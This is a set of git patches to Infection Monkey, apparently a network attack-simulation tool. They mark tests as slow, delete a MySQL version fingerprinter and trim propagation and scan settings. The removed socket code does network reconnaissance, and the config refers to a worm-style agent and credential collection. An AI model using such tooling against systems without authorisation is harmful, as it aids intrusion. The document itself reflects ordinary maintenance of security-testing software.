b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 67f9c8292..7a25e0a07 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -178,6 +178,7 @@ def test_scan_multiple_ips(callback, scan_config, stop): assert_scan_results(ip, scan_results) +@pytest.mark.slow def test_scan_lots_of_ips(callback, scan_config, stop): ips = [f"10.0.0.{i}" for i in range(0, 255)] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index a16299707..851ae9a99 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -156,6 +156,7 @@ def test_get_stolen_creds_exploit(fake_mongo): assert expected_stolen_creds_exploit == stolen_creds_exploit +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_get_stolen_creds_system_info(fake_mongo): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 766871133..8df77e00a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -85,6 +85,7 @@ def test_needs_registration__false(tmp_path): assert not a_s.needs_registration() +@pytest.mark.slow @pytest.mark.parametrize("error", [InvalidRegistrationCredentialsError, AlreadyRegisteredError]) def test_register_new_user__fails( tmp_path, mock_reset_datastore_encryptor, mock_reset_database, error @@ -116,6 +117,7 @@ def test_register_new_user__empty_password_fails( mock_reset_database.assert_not_called() +@pytest.mark.slow def test_register_new_user(tmp_path, mock_reset_datastore_encryptor, mock_reset_database): mock_add_user = MagicMock() mock_user_datastore = MockUserDatastore(lambda: False, mock_add_user, None) @@ -134,6 +136,7 @@ def test_register_new_user(tmp_path, mock_reset_datastore_encryptor, mock_reset_ mock_reset_database.assert_called_once() +@pytest.mark.slow def test_authenticate__success(tmp_path, mock_unlock_datastore_encryptor): mock_user_datastore = MockUserDatastore( lambda: True, @@ -149,6 +152,7 @@ def test_authenticate__success(tmp_path, mock_unlock_datastore_encryptor): mock_unlock_datastore_encryptor.assert_called_once() +@pytest.mark.slow @pytest.mark.parametrize( ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 5cf5090a3..c5e8226ea 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -11,6 +11,7 @@ def mock_port(monkeypatch, PORT): monkeypatch.setattr("monkey_island.cc.services.config.ISLAND_PORT", PORT) +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_command_servers(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) @@ -18,6 +19,7 @@ def test_set_server_ips_in_config_command_servers(config, IPS, PORT): assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_current_server(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py index 1935d6f79..403b5aee3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config_manipulator.py @@ -4,6 +4,7 @@ from monkey_island.cc.services.config_manipulator import update_config_on_mode_s from monkey_island.cc.services.mode.mode_enum import IslandModeEnum +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_advanced(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) @@ -17,6 +18,7 @@ def test_update_config_on_mode_set_advanced(config, monkeypatch): assert manipulated_config == config +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_update_config_on_mode_set_ransomware(config, monkeypatch): monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.get_config", lambda: config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 974377915..39dfd7ae5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -16,6 +16,7 @@ class MockObject: pass +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_is_aws_keys_setup(tmp_path): # Mock default configuration From cb2ca5be46681d7435f6791abb2eae81a3fe3e1a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:48:44 +0100 Subject: [PATCH 0157/1110] Agent: Remove MySQL fingerprinter --- monkey/infection_monkey/example.conf | 1 - .../infection_monkey/network/mysqlfinger.py | 85 ------------------- 2 files changed, 86 deletions(-) delete mode 100644 monkey/infection_monkey/network/mysqlfinger.py diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 42b37ddf4..8468b1422 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -38,7 +38,6 @@ "SSHFinger", "HTTPFinger", "SMBFinger", - "MySQLFinger", "MSSQLFingerprint", "ElasticFinger" ], diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py deleted file mode 100644 index d0bc14dc6..000000000 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ /dev/null @@ -1,85 +0,0 @@ -import logging -import socket - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string - -MYSQL_PORT = 3306 -SQL_SERVICE = "mysqld-3306" -logger = logging.getLogger(__name__) - - -class MySQLFinger(HostFinger): - """ - Fingerprints mysql databases, only on port 3306 - """ - - _SCANNED_SERVICE = "MySQL" - SOCKET_TIMEOUT = 0.5 - HEADER_SIZE = 4 # in bytes - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def get_host_fingerprint(self, host): - """ - Returns mySQLd data using the host header - :param host: - :return: Success/failure, data is saved in the host struct - """ - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(self.SOCKET_TIMEOUT) - - try: - s.connect((host.ip_addr, MYSQL_PORT)) - header = s.recv(self.HEADER_SIZE) # max header size? - - response, curpos = struct_unpack_tracker(header, 0, "I") - response = response[0] - response_length = response & 0xFF # first byte is significant - data = s.recv(response_length) - # now we can start parsing - protocol, curpos = struct_unpack_tracker(data, 0, "B") - protocol = protocol[0] - - if protocol == 0xFF: - # error code, bug out - logger.debug("Mysql server returned error") - return False - - version, curpos = struct_unpack_tracker_string( - data, curpos - ) # special coded to solve string parsing - version = version[0].decode() - self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) - host.services[SQL_SERVICE]["version"] = version - version = version.split("-")[0].split(".") - host.services[SQL_SERVICE]["major_version"] = version[0] - host.services[SQL_SERVICE]["minor_version"] = version[1] - host.services[SQL_SERVICE]["build_version"] = version[2] - thread_id, curpos = struct_unpack_tracker(data, curpos, " Date: Tue, 14 Dec 2021 14:49:45 +0100 Subject: [PATCH 0158/1110] Island: Remove MySQL fingerprinter from config schema --- .../services/config_schema/definitions/finger_classes.py | 8 -------- .../monkey_island/cc/services/config_schema/internal.py | 1 - 2 files changed, 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 5daa90672..1a983a899 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -27,14 +27,6 @@ FINGER_CLASSES = { "safe": True, "info": "Checks if host has HTTP/HTTPS ports open.", }, - { - "type": "string", - "enum": ["MySQLFinger"], - "title": "MySQL Fingerprinter", - "safe": True, - "info": "Checks if MySQL server is running and tries to get it's version.", - "attack_techniques": ["T1210"], - }, { "type": "string", "enum": ["MSSQLFinger"], diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 92bacf669..5b6f44660 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -166,7 +166,6 @@ INTERNAL = { "SMBFinger", "SSHFinger", "HTTPFinger", - "MySQLFinger", "MSSQLFinger", "ElasticFinger", ], From 0a44b1f12e5bf4ef8c284159400097d415d8856f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:50:32 +0100 Subject: [PATCH 0159/1110] UT: Remove MySQL fingerprinter from monkey test config --- .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 107f17e5c..3f875009a 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -101,7 +101,6 @@ "SMBFinger", "SSHFinger", "HTTPFinger", - "MySQLFinger", "MSSQLFinger", "ElasticFinger" ] From deeb38e551c5231214903b14738553381c1249db Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:51:09 +0100 Subject: [PATCH 0160/1110] Docs: Remove MySQL fingerprinter --- docs/content/reference/scanners/_index.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 8cca71b21..27d776128 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -29,8 +29,7 @@ The currently implemented Fingerprint modules are: 2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22) and extracts the computer version and SSH banner. 3. [`PingScanner`][ping-scanner] - Fingerprints target machine's TTL to differentiate between Linux and Windows hosts. 4. [`HTTPFinger`][http-finger] - Detects HTTP/HTTPS services, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. -5. [`MySQLFinger`][mysql-finger] - Fingerprints MySQL (port 3306) and will extract MySQL banner info - version, major/minor/build and capabilities. -6. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. +5. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter @@ -44,7 +43,6 @@ At this point, the Infection Monkey knows how to use the new scanner/fingerprint [http-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/httpfinger.py [host-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/__init__.py [host-scanner]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/__init__.py - [mysql-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/mysqlfinger.py [ping-scanner]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/ping_scanner.py [smb-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/smbfinger.py [ssh-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/sshfinger.py From c129e2f4b0c4c86ea624fbc496362f7ff11e5bf5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:54:20 +0100 Subject: [PATCH 0161/1110] Project: Remove mysqlfinger references in Vulture --- vulture_allowlist.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 7c9917984..b0700147e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -89,7 +89,6 @@ _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) PowerShellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) -MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15) ClearCommandHistory # unused class (monkey/infection_monkey/post_breach/actions/clear_command_history.py:11) AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/discover_accounts.py:8) @@ -187,9 +186,6 @@ WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_ WINDOWS_TTL # unused variable (monkey/infection_monkey/network/ping_scanner.py:17) wlist # unused variable (monkey/infection_monkey/transport/tcp.py:28) wlist # unused variable (monkey/infection_monkey/transport/http.py:176) -charset # unused variable (monkey/infection_monkey/network/mysqlfinger.py:81) -salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) -thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) # leaving this since there's a TODO related to it From e73b4af02633efcfd08b5b13eae3340fa36ed8cb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 14:54:45 +0100 Subject: [PATCH 0162/1110] Changelog: Add entry for removing MySQL fingerprinter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e47936c55..02f2301a6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -36,6 +36,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - MITRE ATT&CK configuration screen. #1532 - Propagation credentials from "GET /api/monkey/" endpoint. #1538 - "GET /api/monkey_control/check_remote_port/" endpoint. #1635 +- MySQL fingerprinter. #1648 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From beb74ef06057545d23a8703237cc8c5f5c419fa9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 09:58:24 -0500 Subject: [PATCH 0163/1110] Docs: Add missing "and" to ElasticFinger entry Co-authored-by: Shreya Malviya --- docs/content/reference/scanners/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 27d776128..6de0a8099 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -29,7 +29,7 @@ The currently implemented Fingerprint modules are: 2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22) and extracts the computer version and SSH banner. 3. [`PingScanner`][ping-scanner] - Fingerprints target machine's TTL to differentiate between Linux and Windows hosts. 4. [`HTTPFinger`][http-finger] - Detects HTTP/HTTPS services, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. -5. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. +5. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) and will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter From 4bbac5341866a2c0c72b218cebff55911d08bec1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 10:09:33 +0100 Subject: [PATCH 0164/1110] Swimm: Remove add to configuration unit --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 67 ----------------------------------- 1 file changed, 67 deletions(-) delete mode 100644 .swm/AzD8XysWg1BBXCjCDkfq.swm diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm deleted file mode 100644 index 3339f5178..000000000 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ /dev/null @@ -1,67 +0,0 @@ -{ - "id": "AzD8XysWg1BBXCjCDkfq", - "name": "Add a new configuration setting to the Agent âš™", - "task": { - "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", - "tests": [], - "hints": [ - "Look for `victims_max_exploit` - it's rather similar." - ] - }, - "content": [ - { - "type": "text", - "text": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine." - }, - { - "type": "snippet", - "path": "monkey/infection_monkey/config.py", - "comments": [], - "firstLineNumber": 103, - "lines": [ - " exploiter_classes = []", - " system_info_collector_classes = []", - " ", - "* # how many victims to look for in a single scan iteration", - "* victims_max_find = 100", - " ", - " # how many victims to exploit before stopping", - " victims_max_exploit = 100" - ] - }, - { - "type": "snippet", - "path": "monkey/monkey_island/cc/services/config_schema/internal.py", - "comments": [], - "firstLineNumber": 28, - "lines": [ - " \"title\": \"Monkey\",", - " \"type\": \"object\",", - " \"properties\": {", - "* \"victims_max_find\": {", - "* \"title\": \"Max victims to find\",", - "* \"type\": \"integer\",", - "* \"default\": 100,", - "* \"description\": \"Determines the maximum number of machines the monkey is \"", - "* \"allowed to scan\",", - "* },", - " \"victims_max_exploit\": {", - " \"title\": \"Max victims to exploit\",", - " \"type\": \"integer\"," - ] - }, - { - "type": "text", - "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/config_templates)." - } - ], - "symbols": {}, - "file_version": "2.0.3", - "meta": { - "app_version": "0.6.6-2", - "file_blobs": { - "monkey/infection_monkey/config.py": "8f4984ba6563564343282765ab498efca5d89ba8", - "monkey/monkey_island/cc/services/config_schema/internal.py": "86318eaf19b9991a8af5de861a3eb085238e17a4" - } - } -} From 4eca5b5a97f1861180940abd9e99aa2f70752366 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 10:11:46 +0100 Subject: [PATCH 0165/1110] Agent: Remove max victims to find option --- monkey/infection_monkey/config.py | 3 --- monkey/infection_monkey/example.conf | 1 - 2 files changed, 4 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 557ecdf0f..9cde95491 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -103,9 +103,6 @@ class Configuration(object): exploiter_classes = [] system_info_collector_classes = [] - # how many victims to look for in a single scan iteration - victims_max_find = 100 - # how many victims to exploit before stopping victims_max_exploit = 100 diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 8468b1422..d057b07a6 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -74,7 +74,6 @@ 8088 ], "victims_max_exploit": 100, - "victims_max_find": 100, "post_breach_actions": [] custom_PBA_linux_cmd = "" custom_PBA_windows_cmd = "" From ba34f775aed1c52f75bb02b630eed056aa8d5d73 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 10:12:29 +0100 Subject: [PATCH 0166/1110] Island: Remove max victims to find option --- monkey/monkey_island/cc/services/config_schema/internal.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 5b6f44660..1a2e938d4 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -21,13 +21,6 @@ INTERNAL = { "title": "Monkey", "type": "object", "properties": { - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey is " - "allowed to scan", - }, "victims_max_exploit": { "title": "Max victims to exploit", "type": "integer", From f0e06274c6e28000cb0a62e8b214a0af90591315 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 10:13:02 +0100 Subject: [PATCH 0167/1110] UT: Remove max victims to find option from configs --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 3 +-- .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 0b9f63b84..61f601bca 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -123,6 +123,5 @@ 8088 ], "user_to_add": "Monkey_IUSER_SUPPORT", - "victims_max_exploit": 100, - "victims_max_find": 100 + "victims_max_exploit": 100 } diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 3f875009a..d2550567f 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -47,7 +47,6 @@ "keep_tunnel_open_time": 60 }, "monkey": { - "victims_max_find": 100, "victims_max_exploit": 100, "alive": true, "aws_keys": { From b02d277e55d3697a4ff6dc58bf6f059167937145 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:34:51 +0100 Subject: [PATCH 0168/1110] Agent: Remove max victims to exploit option --- monkey/infection_monkey/config.py | 3 --- monkey/infection_monkey/example.conf | 1 - 2 files changed, 4 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 9cde95491..356a15979 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -103,9 +103,6 @@ class Configuration(object): exploiter_classes = [] system_info_collector_classes = [] - # how many victims to exploit before stopping - victims_max_exploit = 100 - # depth of propagation depth = 2 max_depth = None diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index d057b07a6..6d0780456 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -73,7 +73,6 @@ 7001, 8088 ], - "victims_max_exploit": 100, "post_breach_actions": [] custom_PBA_linux_cmd = "" custom_PBA_windows_cmd = "" From 9fa489b0467f7a2c004c26cf4e6f8bc28a6c87c2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:35:57 +0100 Subject: [PATCH 0169/1110] Island: Remove max victims to find options --- .../cc/services/config_schema/internal.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 1a2e938d4..f7e9f12f1 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -1,5 +1,3 @@ -from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN - INTERNAL = { "title": "Internal", "type": "object", @@ -21,17 +19,6 @@ INTERNAL = { "title": "Monkey", "type": "object", "properties": { - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " - + WARNING_SIGN - + " Note that setting this value too high may result in the " - "monkey propagating to " - "a high number of machines", - }, "alive": { "title": "Alive", "type": "boolean", From ea08e2c420577c28d9615a1d1921f3dc35c3ff9e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:36:22 +0100 Subject: [PATCH 0170/1110] UT: Remove max victims to exploit from configs --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 3 +-- .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 61f601bca..a6ec1dcd4 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -122,6 +122,5 @@ 7001, 8088 ], - "user_to_add": "Monkey_IUSER_SUPPORT", - "victims_max_exploit": 100 + "user_to_add": "Monkey_IUSER_SUPPORT" } diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index d2550567f..ac3af0f23 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -47,7 +47,6 @@ "keep_tunnel_open_time": 60 }, "monkey": { - "victims_max_exploit": 100, "alive": true, "aws_keys": { "aws_access_key_id": "", From b9219e37839f610faa83f07abccb7a2ae664c57e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:53:24 +0100 Subject: [PATCH 0171/1110] Agent: Remove tcp scan interval option --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/network/network_scanner.py | 4 ---- 3 files changed, 6 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 356a15979..49f2b0c71 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -136,7 +136,6 @@ class Configuration(object): tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 0 # in milliseconds tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 6d0780456..322171399 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,7 +57,6 @@ "exploit_ssh_keys": [], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index c7e39909e..340763957 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -1,5 +1,4 @@ import logging -import time from multiprocessing.dummy import Pool from common.network.network_range import NetworkRange @@ -108,9 +107,6 @@ class NetworkScanner(object): if victims_count >= max_find: logger.debug("Found max needed victims (%d), stopping scan", max_find) return - if WormConfiguration.tcp_scan_interval: - # time.sleep uses seconds, while config is in milliseconds - time.sleep(WormConfiguration.tcp_scan_interval / float(1000)) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From c2e76b6462bdc78f07e44e6f0881e32b2089fd4f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:55:03 +0100 Subject: [PATCH 0172/1110] Island: Remove tcp scan interval option --- monkey/monkey_island/cc/services/config_schema/internal.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index f7e9f12f1..7c5777476 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -96,12 +96,6 @@ INTERNAL = { "description": "List of TCP ports the monkey will check whether " "they're open", }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 0, - "description": "Time to sleep (in milliseconds) between scans", - }, "tcp_scan_timeout": { "title": "TCP scan timeout", "type": "integer", From 210e981f7e01d939a6163f9d44ce20d8e3f120c5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Dec 2021 11:55:53 +0100 Subject: [PATCH 0173/1110] UT: Remove tcp scan interval option from configs --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - 2 files changed, 2 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index a6ec1dcd4..e6f70929f 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -106,7 +106,6 @@ "MimikatzCollector" ], "tcp_scan_get_banner": true, - "tcp_scan_interval": 0, "tcp_scan_timeout": 3000, "tcp_target_ports": [ 22, diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index ac3af0f23..f64a348e5 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -86,7 +86,6 @@ 7001, 8088 ], - "tcp_scan_interval": 0, 